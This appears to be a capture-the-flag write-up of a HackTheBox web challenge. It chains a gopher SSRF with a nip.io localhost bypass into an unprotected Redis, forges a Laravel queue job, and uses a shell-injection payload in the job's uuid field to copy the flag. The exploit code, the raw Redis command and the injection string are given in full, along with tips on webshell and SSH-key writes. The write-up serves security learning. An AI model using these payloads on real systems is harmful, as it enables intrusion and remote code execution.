pwneglyph logo
web web-server php laravel ssrf gopher redis protected-mode nip-io job-queue queue-injection command-injection rce

The screenshot feature fetches user URLs; gopher://127.0.0.1.nip.io:6379 bypasses the localhost check and speaks RAW Redis. RPUSH a hand-crafted Laravel job envelope onto laravel_database_queues:default whose rmFile job runs system(\"rm \".$uuid) — inject through $uuid for command execution when the queue:work worker picks it up.

Screencrack — gopher SSRF → Redis → Laravel queue job RCE

Platform: HackTheBox · Category: Web (server-side) · Stack: Laravel (PHP) + Redis queue + Apache, queue:work worker

Challenge overview

A Laravel "URL screenshot" app with a background worker:

php artisan queue:work --queue=default -v --sleep=600   # processes jobs from Redis

The RCE sink lives in the rmFile job, which builds a shell command from a job field:

public function deleteFile() {
    system("echo '".$this->uuid."'>>halo");
    system("rm ".$filepath);     // $uuid flows into a shell command -> injection
}

rmFile is never dispatched by the app — we must enqueue it ourselves into Redis. Redis runs in the container with protected-mode no, and the app's screenshot fetcher can be pointed at it.

Step 1 — reach Redis with gopher SSRF

The fetcher blocks obvious localhost URLs, but 127.0.0.1.nip.io resolves to 127.0.0.1 and slips the check, and gopher:// lets us write raw bytes to the Redis port — enough to issue an RPUSH:

gopher://127.0.0.1.nip.io:6379/_<url-encoded RESP for RPUSH ...>

Step 2 — craft a genuine Laravel job envelope

Laravel jobs are JSON envelopes wrapping a serialized command. Generate the exact envelope the framework would produce (so the worker accepts it) by calling the protected createPayload() on the real RedisQueue via reflection:

$redisQueue = app('queue')->connection('redis');
$m = new ReflectionMethod($redisQueue, 'createPayload'); $m->setAccessible(true);
$job  = new rmFile(new FileQueue($injection, "txt"));      // $injection -> rmFile->uuid
echo $m->invoke($redisQueue, $job, 'default');

Put the command injection in the uuid, closing the original system("rm ...") context:

$injection = "'; cat /flag > /www/public/static/style.css; echo '";

Step 3 — RPUSH it onto the queue via the gopher SSRF

The queue key is laravel_database_queues:default (prefix from Str::slug(APP_NAME).'_database_'). Encode the RESP command and ship it:

*3\r\n$5\r\nRPUSH\r\n$31\r\nlaravel_database_queues:default\r\n${len}\r\n{json_payload}

URL-encode that as the gopher path and send it through the screenshot endpoint (/api/get-html?site=gopher://127.0.0.1.nip.io:6379/_...). When queue:work next polls, it deserializes the job, runs rmFile::deleteFile(), and our injected command executes — here copying /flag into a web-served static file:

curl http://target/static/style.css   # -> HTB{my_j0b_qu3u3_h4s_h0l3s}

(The worker has --sleep=600; on remote you simply wait for the next poll.)

Flag: HTB{my_j0b_qu3u3_h4s_h0l3s}

Takeaways (generalized techniques)

  • gopher:// + unprotected Redis = arbitrary command execution surface. gopher:// writes raw TCP, so any SSRF reaching a protected-mode no Redis lets you run Redis commands (RPUSH, CONFIG SET, SAVE for webshell/cron/SSH-key writes). <ip>.nip.io defeats string-based localhost blacklists.
  • Queue back-ends are deserialization sinks. A Redis/SQS/etc. job queue trusts whatever envelope is on it; forge a valid one (reuse the framework's own createPayload() via reflection so signatures/shape match) and you control the worker's next deserialize → gadget/system().
  • Command injection through a job field: system("rm ".$field) with attacker-set $field is a shell break ('; cmd; echo '). Combine "I can put a job on the queue" with "the job concatenates a field into a shell" for clean RCE.

Sources & references